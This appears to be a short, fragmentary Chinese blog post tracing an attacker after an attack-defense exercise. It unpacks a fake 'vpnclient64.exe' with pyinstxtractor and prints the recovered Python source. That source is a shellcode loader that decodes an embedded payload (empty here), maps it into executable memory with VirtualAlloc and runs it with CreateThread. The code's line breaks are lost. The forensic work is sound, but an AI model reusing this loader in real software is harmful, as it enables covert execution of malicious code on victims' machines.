记一次攻防演练中的有趣溯源分析
弱口令
解包
python3 pyinstxtractor.py vpnclient64.exe
添加头
源码
import base64import ctypesstr = b''sc_base64 = (base64.a85decode(str)).decode('utf-8')shellcode = bytearray(bytearray.fromhex((base64.b64decode(sc_base64)).decode('utf-8')))ptr = ctypes.windll.kernel32.VirtualAlloc.restype = ctypes.c_uint64ptr = ctypes.windll.kernel32.VirtualAlloc(ctypes.c_int(0), ctypes.c_int(len(shellcode)), ctypes.c_int(0x3000),ctypes.c_int(0x40))buf = (ctypes.c_char * len(shellcode)).from_buffer(shellcode)ctypes.windll.kernel32.RtlMoveMemory(ctypes.c_uint64(ptr), buf, ctypes.c_int(len(shellcode)))handle = ctypes.windll.kernel32.CreateThread(ctypes.c_int(0), ctypes.c_int(0), ctypes.c_uint64(ptr), ctypes.c_int(0),ctypes.c_int(0), ctypes.pointer(ctypes.c_int(0)))ctypes.windll.kernel32.WaitForSingleObject(ctypes.c_int(handle), ctypes.c_int(-1))
溯源
热文推荐